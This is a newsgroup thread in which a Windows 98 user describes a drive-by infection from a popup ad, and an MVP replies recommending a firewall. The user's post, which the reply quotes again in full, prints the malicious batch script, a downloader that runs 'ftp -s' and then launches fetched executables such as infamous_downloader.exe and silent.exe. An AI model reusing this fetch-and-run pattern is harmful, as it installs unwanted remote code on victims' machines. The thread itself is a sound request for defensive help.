DOS Batch file controlled my PC!

Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop, I
encountered a website that displayed a popup add, that asked me a question with
two possible answers. I foolishly clicked one of the answers instead of
clicking away. After of which my computer screen turned blank, and then
started to flash in which I received a DOS prompt and something was using the
DOSFTP to connect to a site and download some apps and install software on my
computer. Its like my Computer was being controlled!! I quickly ejected my PC
network card from my laptop, and my computer froze. I restarted and a bunch of
..exe icons were on my desktop. I attempted to delete all of them, but not all
could be removed either from Windows or a DOS session within Windows. It
seemed the only way to rid the problem was to reboot to the DOS command prompt.
Once in a pure DOS session, I was able to remove the .exe apps from my
desktop.

It seems that this hassle was triggered by the batch file below. This batch
file executes even if you do not open it. I moved the file to the recycle bin,
and while moving it back to my PC it executed again.

So in order to disable it, I had to boot into a DOS prompt.

if not exist C:\WINDOWSstatuslog ftp -s
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe
if exist silent.exe silent.exe

For future reference what should I do, to protect myself from problems like
this? I know I could not click on any popups, but lets face the facts. There
are some websites that auto install software in the background when I visit
their site. There does not seem to be a easy way around this. Heck, I've even
had sites auto install files when using my Macintosh. But the files were
unable to execute since the Mac OS cannot read .exe files.


Thanks for any support;


John

Install a firewall and make sure that all programs such as FTP are blocked.
The firewall will prevent the application from accessing a site unless you
specifically approve the connection.
--
Jeff Richards
MS MVP W95/W98
"Coolwater0009" wrote in message
...
Today while surfing the net with my Windows 98SE Compaq Armada 1700
laptop, I
encountered a website that displayed a popup add, that asked me a question
with
two possible answers. I foolishly clicked one of the answers instead of
clicking away. After of which my computer screen turned blank, and then
started to flash in which I received a DOS prompt and something was using
the
DOSFTP to connect to a site and download some apps and install software on
my
computer. Its like my Computer was being controlled!! I quickly ejected
my PC
network card from my laptop, and my computer froze. I restarted and a
bunch of
.exe icons were on my desktop. I attempted to delete all of them, but not
all
could be removed either from Windows or a DOS session within Windows. It
seemed the only way to rid the problem was to reboot to the DOS command
prompt.
Once in a pure DOS session, I was able to remove the .exe apps from my
desktop.

It seems that this hassle was triggered by the batch file below. This
batch
file executes even if you do not open it. I moved the file to the recycle
bin,
and while moving it back to my PC it executed again.

So in order to disable it, I had to boot into a DOS prompt.

if not exist C:\WINDOWSstatuslog ftp -s
if exist install2.exe install2.exe
if exist infamous_downloader.exe infamous_downloader.exe
if exist 0021-bdl94126.EXE 0021-bdl94126.EXE
if exist CS4P028.exe CS4P028.exe
if exist silent.exe silent.exe

For future reference what should I do, to protect myself from problems
like
this? I know I could not click on any popups, but lets face the facts.
There
are some websites that auto install software in the background when I
visit
their site. There does not seem to be a easy way around this. Heck, I've
even
had sites auto install files when using my Macintosh. But the files were
unable to execute since the Mac OS cannot read .exe files.


Thanks for any support;


John